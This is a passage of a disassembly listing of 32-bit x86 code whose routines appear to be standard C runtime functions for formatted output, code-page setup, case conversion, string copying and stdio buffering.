[ebp+var_8], ecx loc_41FAFF: ; CODE XREF: sub_41F69F+455j mov eax, ecx loc_41FB01: ; CODE XREF: sub_41F69F+46Fj mov edx, esi dec esi test edx, edx jz short loc_41FB10 cmp byte ptr [eax], 0 jz short loc_41FB10 inc eax jmp short loc_41FB01 ; --------------------------------------------------------------------------- loc_41FB10: ; CODE XREF: sub_41F69F+467j ; sub_41F69F+46Cj sub eax, ecx jmp loc_41FCA6 ; --------------------------------------------------------------------------- loc_41FB17: ; CODE XREF: sub_41F69F+425j mov [ebp+var_10], 8 loc_41FB1E: ; CODE XREF: sub_41F69F+201j mov [ebp+var_2C], 7 loc_41FB25: ; CODE XREF: sub_41F69F+448j test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 10h jz short loc_41FB8F mov al, byte ptr [ebp+var_2C] mov [ebp+var_16], 30h add al, 51h mov [ebp+var_1C], 2 mov [ebp+var_15], al jmp short loc_41FB8F ; --------------------------------------------------------------------------- loc_41FB47: ; CODE XREF: sub_41F69F+41Ej test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 8 jz short loc_41FB8F or byte ptr [ebp+var_4+1], 2 jmp short loc_41FB8F ; --------------------------------------------------------------------------- loc_41FB5A: ; CODE XREF: sub_41F69F+417j lea eax, [ebp+arg_8] push eax call sub_41FE7E test byte ptr [ebp+var_4], 20h pop ecx jz short loc_41FB73 mov cx, word ptr [ebp+var_14] mov [eax], cx jmp short loc_41FB78 ; --------------------------------------------------------------------------- loc_41FB73: ; CODE XREF: sub_41F69F+4C9j mov ecx, [ebp+var_14] mov [eax], ecx loc_41FB78: ; CODE XREF: sub_41F69F+4D2j mov [ebp+var_28], 1 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41FB84: ; CODE XREF: sub_41F69F+2F7j ; sub_41F69F+40Ej or [ebp+var_4], 40h loc_41FB88: ; CODE XREF: sub_41F69F+432j mov [ebp+var_C], 0Ah loc_41FB8F: ; CODE XREF: sub_41F69F+491j ; sub_41F69F+4A6j ... test byte ptr [ebp+var_4+1], 80h jz short loc_41FBA1 lea eax, [ebp+arg_8] push eax call sub_41FE8B pop ecx jmp short loc_41FBE2 ; --------------------------------------------------------------------------- loc_41FBA1: ; CODE XREF: sub_41F69F+4F4j test byte ptr [ebp+var_4], 20h jz short loc_41FBC8 test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41FBBD call sub_41FE7E pop ecx movsx eax, ax loc_41FBBA: ; CODE XREF: sub_41F69F+527j ; sub_41F69F+539j cdq jmp short loc_41FBE2 ; --------------------------------------------------------------------------- loc_41FBBD: ; CODE XREF: sub_41F69F+510j call sub_41FE7E pop ecx movzx eax, ax jmp short loc_41FBBA ; --------------------------------------------------------------------------- loc_41FBC8: ; CODE XREF: sub_41F69F+506j test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41FBDA call sub_41FE7E pop ecx jmp short loc_41FBBA ; --------------------------------------------------------------------------- loc_41FBDA: ; CODE XREF: sub_41F69F+531j call sub_41FE7E pop ecx xor edx, edx loc_41FBE2: ; CODE XREF: sub_41F69F+500j ; sub_41F69F+51Cj test byte ptr [ebp+var_4], 40h jz short loc_41FC03 test edx, edx jg short loc_41FC03 jl short loc_41FBF2 test eax, eax jnb short loc_41FC03 loc_41FBF2: ; CODE XREF: sub_41F69F+54Dj neg eax adc edx, 0 mov esi, eax neg edx or byte ptr [ebp+var_4+1], 1 mov edi, edx jmp short loc_41FC07 ; --------------------------------------------------------------------------- loc_41FC03: ; CODE XREF: sub_41F69F+547j ; sub_41F69F+54Bj ... mov esi, eax mov edi, edx loc_41FC07: ; CODE XREF: sub_41F69F+562j test byte ptr [ebp+var_4+1], 80h jnz short loc_41FC10 and edi, 0 loc_41FC10: ; CODE XREF: sub_41F69F+56Cj cmp [ebp+var_10], 0 jge short loc_41FC1F mov [ebp+var_10], 1 jmp short loc_41FC23 ; --------------------------------------------------------------------------- loc_41FC1F: ; CODE XREF: sub_41F69F+575j and [ebp+var_4], 0FFFFFFF7h loc_41FC23: ; CODE XREF: sub_41F69F+57Ej mov eax, esi or eax, edi jnz short loc_41FC2D and [ebp+var_1C], 0 loc_41FC2D: ; CODE XREF: sub_41F69F+588j lea eax, [ebp+var_49] mov [ebp+var_8], eax loc_41FC33: ; CODE XREF: sub_41F69F+5DDj mov eax, [ebp+var_10] dec [ebp+var_10] test eax, eax jg short loc_41FC43 mov eax, esi or eax, edi jz short loc_41FC7E loc_41FC43: ; CODE XREF: sub_41F69F+59Cj mov eax, [ebp+var_C] cdq push edx push eax push edi push esi mov [ebp+var_40], eax mov [ebp+var_3C], edx call sub_41D480 push [ebp+var_3C] mov ebx, eax add ebx, 30h push [ebp+var_40] push edi push esi call sub_41D410 cmp ebx, 39h mov esi, eax mov edi, edx jle short loc_41FC74 add ebx, [ebp+var_2C] loc_41FC74: ; CODE XREF: sub_41F69F+5D0j mov eax, [ebp+var_8] dec [ebp+var_8] mov [eax], bl jmp short loc_41FC33 ; --------------------------------------------------------------------------- loc_41FC7E: ; CODE XREF: sub_41F69F+5A2j lea eax, [ebp+var_49] sub eax, [ebp+var_8] inc [ebp+var_8] test byte ptr [ebp+var_4+1], 2 mov [ebp+var_C], eax jz short loc_41FCA9 mov ecx, [ebp+var_8] cmp byte ptr [ecx], 30h jnz short loc_41FC9C test eax, eax jnz short loc_41FCA9 loc_41FC9C: ; CODE XREF: sub_41F69F+5F7j dec [ebp+var_8] inc eax mov ecx, [ebp+var_8] mov byte ptr [ecx], 30h loc_41FCA6: ; CODE XREF: sub_41F69F+35Fj ; sub_41F69F+406j ... mov [ebp+var_C], eax loc_41FCA9: ; CODE XREF: sub_41F69F+21Bj ; sub_41F69F+2FDj ... cmp [ebp+var_28], 0 jnz loc_41FDA7 ; default mov ebx, [ebp+var_4] test bl, 40h jz short loc_41FCE1 test bh, 1 jz short loc_41FCC6 mov [ebp+var_16], 2Dh jmp short loc_41FCDA ; --------------------------------------------------------------------------- loc_41FCC6: ; CODE XREF: sub_41F69F+61Fj test bl, 1 jz short loc_41FCD1 mov [ebp+var_16], 2Bh jmp short loc_41FCDA ; --------------------------------------------------------------------------- loc_41FCD1: ; CODE XREF: sub_41F69F+62Aj test bl, 2 jz short loc_41FCE1 mov [ebp+var_16], 20h loc_41FCDA: ; CODE XREF: sub_41F69F+625j ; sub_41F69F+630j mov [ebp+var_1C], 1 loc_41FCE1: ; CODE XREF: sub_41F69F+61Aj ; sub_41F69F+635j mov esi, [ebp+var_20] sub esi, [ebp+var_1C] sub esi, [ebp+var_C] test bl, 0Ch jnz short loc_41FD01 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_41FE15 add esp, 10h loc_41FD01: ; CODE XREF: sub_41F69F+64Ej lea eax, [ebp+var_14] push eax lea eax, [ebp+var_16] push [ebp+arg_0] push [ebp+var_1C] push eax call sub_41FE46 add esp, 10h test bl, 8 jz short loc_41FD33 test bl, 4 jnz short loc_41FD33 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 30h call sub_41FE15 add esp, 10h loc_41FD33: ; CODE XREF: sub_41F69F+67Bj ; sub_41F69F+680j cmp [ebp+var_24], 0 jz short loc_41FD7A cmp [ebp+var_C], 0 jle short loc_41FD7A mov eax, [ebp+var_C] mov ebx, [ebp+var_8] lea edi, [eax-1] loc_41FD48: ; CODE XREF: sub_41F69F+6D7j mov ax, [ebx] inc ebx push eax lea eax, [ebp+var_38] push eax inc ebx call sub_423E5B pop ecx test eax, eax pop ecx jle short loc_41FD8F lea ecx, [ebp+var_14] push ecx push [ebp+arg_0] push eax lea eax, [ebp+var_38] push eax call sub_41FE46 add esp, 10h mov eax, edi dec edi test eax, eax jnz short loc_41FD48 jmp short loc_41FD8F ; --------------------------------------------------------------------------- loc_41FD7A: ; CODE XREF: sub_41F69F+698j ; sub_41F69F+69Ej lea eax, [ebp+var_14] push eax push [ebp+arg_0] push [ebp+var_C] push [ebp+var_8] call sub_41FE46 add esp, 10h loc_41FD8F: ; CODE XREF: sub_41F69F+6BCj ; sub_41F69F+6D9j test byte ptr [ebp+var_4], 4 jz short loc_41FDA7 ; default lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_41FE15 add esp, 10h loc_41FDA7: ; CODE XREF: sub_41F69F+68j ; sub_41F69F+8Bj ... mov edi, [ebp+arg_4] ; default mov bl, [edi] inc edi test bl, bl mov [ebp+arg_4], edi jnz loc_41F6CB loc_41FDB8: ; CODE XREF: sub_41F69F+1Fj ; sub_41F69F+37j mov eax, [ebp+var_14] pop edi pop esi pop ebx leave retn sub_41F69F endp ; --------------------------------------------------------------------------- off_41FDC0 dd offset loc_41F83E ; DATA XREF: sub_41F69F+6Er dd offset loc_41F714 ; jump table for switch statement dd offset loc_41F72F dd offset loc_41F77B dd offset loc_41F7B2 dd offset loc_41F7BA dd offset loc_41F7EF dd offset loc_41F882 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FDE0 proc near ; CODE XREF: sub_41F69F+1BDp ; sub_41F69F+1D6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_4] dec dword ptr [ecx+4] js short loc_41FDF9 mov edx, [ecx] mov al, byte ptr [ebp+arg_0] mov [edx], al inc dword ptr [ecx] movzx eax, al jmp short loc_41FE04 ; --------------------------------------------------------------------------- loc_41FDF9: ; CODE XREF: sub_41FDE0+9j push ecx push [ebp+arg_0] call sub_41F58A pop ecx pop ecx loc_41FE04: ; CODE XREF: sub_41FDE0+17j cmp eax, 0FFFFFFFFh mov eax, [ebp+arg_8] jnz short loc_41FE11 or dword ptr [eax], 0FFFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_41FE11: ; CODE XREF: sub_41FDE0+2Aj inc dword ptr [eax] pop ebp retn sub_41FDE0 endp ; =============== S U B R O U T I N E ======================================= sub_41FE15 proc near ; CODE XREF: sub_41F69F+65Ap ; sub_41F69F+68Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi push edi mov edi, [esp+8+arg_4] mov eax, edi dec edi test eax, eax jle short loc_41FE43 mov esi, [esp+8+arg_C] loc_41FE26: ; CODE XREF: sub_41FE15+2Cj push esi push [esp+0Ch+arg_8] push [esp+10h+arg_0] call sub_41FDE0 add esp, 0Ch cmp dword ptr [esi], 0FFFFFFFFh jz short loc_41FE43 mov eax, edi dec edi test eax, eax jg short loc_41FE26 loc_41FE43: ; CODE XREF: sub_41FE15+Bj ; sub_41FE15+25j pop edi pop esi retn sub_41FE15 endp ; =============== S U B R O U T I N E ======================================= sub_41FE46 proc near ; CODE XREF: sub_41F69F+670p ; sub_41F69F+6CAp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_4] mov eax, ebx dec ebx push esi push edi test eax, eax jle short loc_41FE7A mov edi, [esp+0Ch+arg_C] mov esi, [esp+0Ch+arg_0] loc_41FE5C: ; CODE XREF: sub_41FE46+32j movsx eax, byte ptr [esi] push edi inc esi push [esp+10h+arg_8] push eax call sub_41FDE0 add esp, 0Ch cmp dword ptr [edi], 0FFFFFFFFh jz short loc_41FE7A mov eax, ebx dec ebx test eax, eax jg short loc_41FE5C loc_41FE7A: ; CODE XREF: sub_41FE46+Cj ; sub_41FE46+2Bj pop edi pop esi pop ebx retn sub_41FE46 endp ; =============== S U B R O U T I N E ======================================= sub_41FE7E proc near ; CODE XREF: sub_41F69F+E5p ; sub_41F69F+124p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov eax, [eax-4] retn sub_41FE7E endp ; =============== S U B R O U T I N E ======================================= sub_41FE8B proc near ; CODE XREF: sub_41F69F+4FAp arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 8 mov ecx, [eax] mov eax, [ecx-8] mov edx, [ecx-4] retn sub_41FE8B endp ; =============== S U B R O U T I N E ======================================= sub_41FE9B proc near ; CODE XREF: sub_41F69F+2C7p arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov ax, [eax-4] retn sub_41FE9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FEA9 proc near ; CODE XREF: sub_42026D+Bp var_18 = dword ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi push [ebp+arg_0] call sub_420042 mov esi, eax pop ecx cmp esi, dword_4DC704 mov [ebp+arg_0], esi jz loc_420036 xor ebx, ebx cmp esi, ebx jz loc_42002C xor edx, edx mov eax, offset dword_43C550 loc_41FEDD: ; CODE XREF: sub_41FEA9+41j cmp [eax], esi jz short loc_41FF53 add eax, 30h inc edx cmp eax, offset dword_43C640 jl short loc_41FEDD lea eax, [ebp+var_18] push eax push esi nop call near ptr 28E0000h cmp eax, 1 jnz loc_420024 push 40h xor eax, eax pop ecx mov edi, offset byte_4DC820 cmp [ebp+var_18], 1 mov dword_4DC704, esi rep stosd stosb mov dword_4DC924, ebx jbe loc_420012 cmp [ebp+var_12], 0 jz loc_41FFE8 lea ecx, [ebp+var_11] loc_41FF30: ; CODE XREF: sub_41FEA9+139j mov dl, [ecx] test dl, dl jz loc_41FFE8 movzx eax, byte ptr [ecx-1] movzx edx, dl loc_41FF41: ; CODE XREF: sub_41FEA9+A8j cmp eax, edx ja loc_41FFDC or byte_4DC821[eax], 4 inc eax jmp short loc_41FF41 ; --------------------------------------------------------------------------- loc_41FF53: ; CODE XREF: sub_41FEA9+36j push 40h xor eax, eax pop ecx mov edi, offset byte_4DC820 rep stosd lea esi, [edx+edx*2] mov [ebp+var_4], ebx shl esi, 4 stosb lea ebx, dword_43C560[esi] loc_41FF6F: ; CODE XREF: sub_41FEA9+103j cmp byte ptr [ebx], 0 mov ecx, ebx jz short loc_41FFA2 loc_41FF76: ; CODE XREF: sub_41FEA9+F7j mov dl, [ecx+1] test dl, dl jz short loc_41FFA2 movzx eax, byte ptr [ecx] movzx edi, dl cmp eax, edi ja short loc_41FF9B mov edx, [ebp+var_4] mov dl, byte_43C548[edx] loc_41FF90: ; CODE XREF: sub_41FEA9+F0j or byte_4DC821[eax], dl inc eax cmp eax, edi jbe short loc_41FF90 loc_41FF9B: ; CODE XREF: sub_41FEA9+DCj inc ecx inc ecx cmp byte ptr [ecx], 0 jnz short loc_41FF76 loc_41FFA2: ; CODE XREF: sub_41FEA9+CBj ; sub_41FEA9+D2j inc [ebp+var_4] add ebx, 8 cmp [ebp+var_4], 4 jb short loc_41FF6F mov eax, [ebp+arg_0] mov dword_4DC71C, 1 push eax mov dword_4DC704, eax call sub_42008C lea esi, dword_43C554[esi] mov edi, offset dword_4DC710 movsd movsd pop ecx mov dword_4DC924, eax movsd jmp short loc_420031 ; --------------------------------------------------------------------------- loc_41FFDC: ; CODE XREF: sub_41FEA9+9Aj inc ecx inc ecx cmp byte ptr [ecx-1], 0 jnz loc_41FF30 loc_41FFE8: ; CODE XREF: sub_41FEA9+7Ej ; sub_41FEA9+8Bj push 1 pop eax loc_41FFEB: ; CODE XREF: sub_41FEA9+14Fj or byte_4DC821[eax], 8 inc eax cmp eax, 0FFh jb short loc_41FFEB push esi call sub_42008C pop ecx mov dword_4DC924, eax mov dword_4DC71C, 1 jmp short loc_420018 ; --------------------------------------------------------------------------- loc_420012: ; CODE XREF: sub_41FEA9+74j mov dword_4DC71C, ebx loc_420018: ; CODE XREF: sub_41FEA9+167j xor eax, eax mov edi, offset dword_4DC710 stosd stosd stosd jmp short loc_420031 ; --------------------------------------------------------------------------- loc_420024: ; CODE XREF: sub_41FEA9+51j cmp dword_4DB330, ebx jz short loc_42003A loc_42002C: ; CODE XREF: sub_41FEA9+27j call sub_4200BF loc_420031: ; CODE XREF: sub_41FEA9+131j ; sub_41FEA9+179j call sub_4200E8 loc_420036: ; CODE XREF: sub_41FEA9+1Dj xor eax, eax jmp short loc_42003D ; --------------------------------------------------------------------------- loc_42003A: ; CODE XREF: sub_41FEA9+181j or eax, 0FFFFFFFFh loc_42003D: ; CODE XREF: sub_41FEA9+18Fj pop edi pop esi pop ebx leave retn sub_41FEA9 endp ; =============== S U B R O U T I N E ======================================= sub_420042 proc near ; CODE XREF: sub_41FEA9+Cp arg_0 = dword ptr 4 mov eax, [esp+arg_0] and dword_4DB330, 0 cmp eax, 0FFFFFFFEh jnz short loc_420062 mov dword_4DB330, 1 jmp near ptr 266099Eh ; --------------------------------------------------------------------------- db 0D9h ; --------------------------------------------------------------------------- loc_420062: ; CODE XREF: sub_420042+Ej cmp eax, 0FFFFFFFDh jnz short loc_420077 mov dword_4DB330, 1 jmp near ptr 28E068Bh ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_420077: ; CODE XREF: sub_420042+23j cmp eax, 0FFFFFFFCh jnz short locret_42008B mov eax, dword_4DB374 mov dword_4DB330, 1 locret_42008B: ; CODE XREF: sub_420042+38j retn sub_420042 endp ; =============== S U B R O U T I N E ======================================= sub_42008C proc near ; CODE XREF: sub_41FEA9+118p ; sub_41FEA9+152p arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub eax, 3A4h jz short loc_4200B9 sub eax, 4 jz short loc_4200B3 sub eax, 0Dh jz short loc_4200AD dec eax jz short loc_4200A7 xor eax, eax retn ; --------------------------------------------------------------------------- loc_4200A7: ; CODE XREF: sub_42008C+16j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_4200AD: ; CODE XREF: sub_42008C+13j mov eax, 412h retn ; --------------------------------------------------------------------------- loc_4200B3: ; CODE XREF: sub_42008C+Ej mov eax, 804h retn ; --------------------------------------------------------------------------- loc_4200B9: ; CODE XREF: sub_42008C+9j mov eax, 411h retn sub_42008C endp ; =============== S U B R O U T I N E ======================================= sub_4200BF proc near ; CODE XREF: sub_41FEA9:loc_42002Cp push edi push 40h pop ecx xor eax, eax mov edi, offset byte_4DC820 rep stosd stosb xor eax, eax mov edi, offset dword_4DC710 mov dword_4DC704, eax mov dword_4DC71C, eax mov dword_4DC924, eax stosd stosd stosd pop edi retn sub_4200BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4200E8 proc near ; CODE XREF: sub_41FEA9:loc_420031p var_514 = byte ptr -514h var_314 = byte ptr -314h var_214 = byte ptr -214h var_114 = byte ptr -114h var_14 = byte ptr -14h var_E = byte ptr -0Eh var_D = byte ptr -0Dh push ebp mov ebp, esp sub esp, 514h lea eax, [ebp+var_14] push esi push eax push dword_4DC704 nop call near ptr 28E0000h cmp eax, 1 jnz loc_420221 xor eax, eax mov esi, 100h loc_420112: ; CODE XREF: sub_4200E8+34j mov [ebp+eax+var_114], al inc eax cmp eax, esi jb short loc_420112 mov al, [ebp+var_E] mov [ebp+var_114], 20h test al, al jz short loc_420163 push ebx push edi lea edx, [ebp+var_D] loc_420131: ; CODE XREF: sub_4200E8+77j movzx ecx, byte ptr [edx] movzx eax, al cmp eax, ecx ja short loc_420158 sub ecx, eax lea edi, [ebp+eax+var_114] inc ecx mov eax, 20202020h mov ebx, ecx shr ecx, 2 rep stosd mov ecx, ebx and ecx, 3 rep stosb loc_420158: ; CODE XREF: sub_4200E8+51j inc edx inc edx mov al, [edx-1] test al, al jnz short loc_420131 pop edi pop ebx loc_420163: ; CODE XREF: sub_4200E8+42j push 0 lea eax, [ebp+var_514] push dword_4DC924 push dword_4DC704 push eax lea eax, [ebp+var_114] push esi push eax push 1 call sub_423CEC push 0 lea eax, [ebp+var_214] push dword_4DC704 push esi push eax lea eax, [ebp+var_114] push esi push eax push esi push dword_4DC924 call sub_422ACA push 0 lea eax, [ebp+var_314] push dword_4DC704 push esi push eax lea eax, [ebp+var_114] push esi push eax push 200h push dword_4DC924 call sub_422ACA add esp, 5Ch xor eax, eax lea ecx, [ebp+var_514] loc_4201DE: ; CODE XREF: sub_4200E8+135j mov dx, [ecx] test dl, 1 jz short loc_4201FC or byte_4DC821[eax], 10h mov dl, [ebp+eax+var_214] loc_4201F4: ; CODE XREF: sub_4200E8+127j mov byte_4DC720[eax], dl jmp short loc_420218 ; --------------------------------------------------------------------------- loc_4201FC: ; CODE XREF: sub_4200E8+FCj test dl, 2 jz short loc_420211 or byte_4DC821[eax], 20h mov dl, [ebp+eax+var_314] jmp short loc_4201F4 ; --------------------------------------------------------------------------- loc_420211: ; CODE XREF: sub_4200E8+117j and byte_4DC720[eax], 0 loc_420218: ; CODE XREF: sub_4200E8+112j inc eax inc ecx inc ecx cmp eax, esi jb short loc_4201DE jmp short loc_42026A ; --------------------------------------------------------------------------- loc_420221: ; CODE XREF: sub_4200E8+1Dj xor eax, eax mov esi, 100h loc_420228: ; CODE XREF: sub_4200E8+180j cmp eax, 41h jb short loc_420246 cmp eax, 5Ah ja short loc_420246 or byte_4DC821[eax], 10h mov cl, al add cl, 20h loc_42023E: ; CODE XREF: sub_4200E8+174j mov byte_4DC720[eax], cl jmp short loc_420265 ; --------------------------------------------------------------------------- loc_420246: ; CODE XREF: sub_4200E8+143j ; sub_4200E8+148j cmp eax, 61h jb short loc_42025E cmp eax, 7Ah ja short loc_42025E or byte_4DC821[eax], 20h mov cl, al sub cl, 20h jmp short loc_42023E ; --------------------------------------------------------------------------- loc_42025E: ; CODE XREF: sub_4200E8+161j ; sub_4200E8+166j and byte_4DC720[eax], 0 loc_420265: ; CODE XREF: sub_4200E8+15Cj inc eax cmp eax, esi jb short loc_420228 loc_42026A: ; CODE XREF: sub_4200E8+137j pop esi leave retn sub_4200E8 endp ; =============== S U B R O U T I N E ======================================= sub_42026D proc near ; CODE XREF: ___:00422E7Bp ; ___:00422ED7p ... cmp dword_4DC954, 0 jnz short locret_420288 push 0FFFFFFFDh call sub_41FEA9 pop ecx mov dword_4DC954, 1 locret_420288: ; CODE XREF: sub_42026D+7j retn sub_42026D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420289 proc near ; CODE XREF: sub_41B9D1+2Bp ; sub_41B9D1+A6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp dword_4DC71C, 0 push edi mov edi, [ebp+arg_0] mov [ebp+arg_0], edi jnz short loc_4202AD push [ebp+arg_8] push [ebp+arg_4] push edi call sub_41B5F0 add esp, 0Ch jmp short loc_420310 ; --------------------------------------------------------------------------- loc_4202AD: ; CODE XREF: sub_420289+11j mov edx, [ebp+arg_8] push esi test edx, edx jz short loc_4202F2 mov ecx, [ebp+arg_4] loc_4202B8: ; CODE XREF: sub_420289+5Bj mov al, [ecx] dec edx movzx esi, al test byte_4DC821[esi], 4 mov [edi], al jz short loc_4202DC inc edi inc ecx test edx, edx jz short loc_4202E8 mov al, [ecx] dec edx mov [edi], al inc edi inc ecx test al, al jz short loc_4202EE jmp short loc_4202E2 ; --------------------------------------------------------------------------- loc_4202DC: ; CODE XREF: sub_420289+3Ej inc edi inc ecx test al, al jz short loc_4202F2 loc_4202E2: ; CODE XREF: sub_420289+51j test edx, edx jnz short loc_4202B8 jmp short loc_4202F2 ; --------------------------------------------------------------------------- loc_4202E8: ; CODE XREF: sub_420289+44j and byte ptr [edi-1], 0 jmp short loc_4202F2 ; --------------------------------------------------------------------------- loc_4202EE: ; CODE XREF: sub_420289+4Fj and byte ptr [edi-2], 0 loc_4202F2: ; CODE XREF: sub_420289+2Aj ; sub_420289+57j ... mov eax, edx dec edx test eax, eax pop esi jz short loc_42030D lea ecx, [edx+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb loc_42030D: ; CODE XREF: sub_420289+6Fj mov eax, [ebp+arg_0] loc_420310: ; CODE XREF: sub_420289+22j pop edi pop ebp retn sub_420289 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420313 proc near ; CODE XREF: sub_41BBBD+12Bp var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4DB364, 0 push ebx jnz short loc_42033E mov eax, [ebp+arg_0] cmp eax, 61h jl loc_4203DC cmp eax, 7Ah jg loc_4203DC sub eax, 20h jmp loc_4203DC ; --------------------------------------------------------------------------- loc_42033E: ; CODE XREF: sub_420313+Cj mov ebx, [ebp+arg_0] cmp ebx, 100h jge short loc_420371 cmp dword_43C534, 1 jle short loc_42035E push 2 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420369 ; --------------------------------------------------------------------------- loc_42035E: ; CODE XREF: sub_420313+3Dj mov eax, off_43C328 mov al, [eax+ebx*2] and eax, 2 loc_420369: ; CODE XREF: sub_420313+49j test eax, eax jnz short loc_420371 loc_42036D: ; CODE XREF: sub_420313+AFj mov eax, ebx jmp short loc_4203DC ; --------------------------------------------------------------------------- loc_420371: ; CODE XREF: sub_420313+34j ; sub_420313+58j mov edx, off_43C328 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_420394 and byte ptr [ebp+arg_0+2], 0 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl push 2 jmp short loc_42039D ; --------------------------------------------------------------------------- loc_420394: ; CODE XREF: sub_420313+71j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl push 1 loc_42039D: ; CODE XREF: sub_420313+7Fj pop eax lea ecx, [ebp+var_4] push 1 push 0 push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push 200h push dword_4DB364 call sub_422ACA add esp, 20h test eax, eax jz short loc_42036D cmp eax, 1 jnz short loc_4203CF movzx eax, [ebp+var_4] jmp short loc_4203DC ; --------------------------------------------------------------------------- loc_4203CF: ; CODE XREF: sub_420313+B4j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_4203DC: ; CODE XREF: sub_420313+14j ; sub_420313+1Dj ... pop ebx leave retn sub_420313 endp ; =============== S U B R O U T I N E ======================================= sub_4203DF proc near ; CODE XREF: sub_41BDDC+1Dp ; sub_41D3BE+16p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] xor edx, edx mov dword_4DB2AC, ecx mov eax, offset dword_43C640 loc_4203F0: ; CODE XREF: sub_4203DF+1Ej cmp ecx, [eax] jz short loc_420414 add eax, 8 inc edx cmp eax, offset dword_43C7A8 jl short loc_4203F0 cmp ecx, 13h jb short loc_420421 cmp ecx, 24h ja short loc_420421 mov dword_4DB2A8, 0Dh retn ; --------------------------------------------------------------------------- loc_420414: ; CODE XREF: sub_4203DF+13j mov eax, dword_43C644[edx*8] mov dword_4DB2A8, eax retn ; --------------------------------------------------------------------------- loc_420421: ; CODE XREF: sub_4203DF+23j ; sub_4203DF+28j cmp ecx, 0BCh jb short loc_42043B cmp ecx, 0CAh mov dword_4DB2A8, 8 jbe short locret_420445 loc_42043B: ; CODE XREF: sub_4203DF+48j mov dword_4DB2A8, 16h locret_420445: ; CODE XREF: sub_4203DF+5Aj retn sub_4203DF endp ; =============== S U B R O U T I N E ======================================= sub_420446 proc near ; CODE XREF: sub_41BE06+8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+10h] call sub_423E35 test eax, eax pop ecx jz short loc_4204CF cmp esi, offset dword_43CA38 jnz short loc_420464 xor eax, eax jmp short loc_42046F ; --------------------------------------------------------------------------- loc_420464: ; CODE XREF: sub_420446+18j cmp esi, offset dword_43CA58 jnz short loc_4204CF push 1 pop eax loc_42046F: ; CODE XREF: sub_420446+1Cj inc dword_4DB490 test word ptr [esi+0Ch], 10Ch jnz short loc_4204CF cmp dword_4DB334[eax*4], 0 push ebx push edi lea edi, ds:4DB334h[eax*4] mov ebx, 1000h jnz short loc_4204B5 push ebx call sub_41B4D5 test eax, eax pop ecx mov [edi], eax jnz short loc_4204B5 lea eax, [esi+14h] push 2 mov [esi+8], eax mov [esi], eax pop eax mov [esi+18h], eax mov [esi+4], eax jmp short loc_4204C2 ; --------------------------------------------------------------------------- loc_4204B5: ; CODE XREF: sub_420446+4Dj ; sub_420446+5Aj mov edi, [edi] mov [esi+18h], ebx mov [esi+8], edi mov [esi], edi mov [esi+4], ebx loc_4204C2: ; CODE XREF: sub_420446+6Dj or word ptr [esi+0Ch], 1102h push 1 pop eax pop edi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_4204CF: ; CODE XREF: sub_420446+10j ; sub_420446+24j ... xor eax, eax pop esi retn sub_420446 endp ; =============== S U B R O U T I N E ======================================= sub_4204D3 proc near ; CODE XREF: sub_41BE06+24p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 push esi jz short loc_4204FD mov esi, [esp+4+arg_4] test byte ptr [esi+0Dh], 10h jz short loc_42050E push esi call sub_41DB8B and byte ptr [esi+0Dh], 0EEh and dword ptr [esi+18h], 0 and dword ptr [esi], 0 and dword ptr [esi+8], 0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_4204FD: ; CODE XREF: sub_4204D3+6j mov eax, [esp+4+arg_4] test byte ptr [eax+0Dh], 10h jz short loc_42050E push eax call sub_41DB8B pop ecx loc_42050E: ; CODE XREF: sub_4204D3+10j ; sub_4204D3+32j pop esi retn sub_4204D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420510 proc near ; CODE XREF: sub_41C645+2Ap var_1C4 = byte ptr -1C4h var_1C3 = byte ptr 